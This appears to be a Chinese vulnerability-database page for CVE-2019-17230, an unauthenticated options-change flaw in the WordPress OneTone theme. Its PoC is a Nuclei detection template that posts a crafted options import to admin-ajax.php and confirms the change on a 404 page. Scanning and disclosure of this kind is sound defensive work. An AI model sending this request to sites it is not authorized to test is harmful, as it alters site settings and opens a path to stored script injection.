CVE-2019-17230: WordPress OneTone theme <= 3.0.6 – Unauthenticated Options Changes

日期: 2025-08-01 | 影响软件: WordPress OneTone | POC: 已公开

漏洞描述

includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress allows unauthenticated options changes.

PoC代码[已公开]

id: CVE-2019-17230

info:
  name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Options Changes
  author: daffainfo
  severity: medium
  description: |
    includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress allows unauthenticated options changes.
  reference:
    - https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
    - https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17230
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-17230
    epss-score: 0.13264
    epss-percentile: 0.93925
    cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mageewp
    product: onetone
    framework: wordpress
    publicwww-query: "/wp-content/themes/onetone"
  tags: cve,cve2019,wordpress,wp-theme,wp,onetone

flow: http(1) && http(2)

variables:
  page: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=onetone_options_import&options={"content_404":"{{page}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Import successful.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<div class=\"page-content\">","{{page}}")'
        condition: and
# digest: 4b0a00483046022100fedf5302ebb5e0be31e47e6986fdb2563b9d96b4cd66dc8948f4457680c52a7302210098f810d686fa444e8c1cb9d971e091b576a216ef678b1851cc761c642e1c8038:922c64590222798bb761d5b6d8e72950

相关漏洞推荐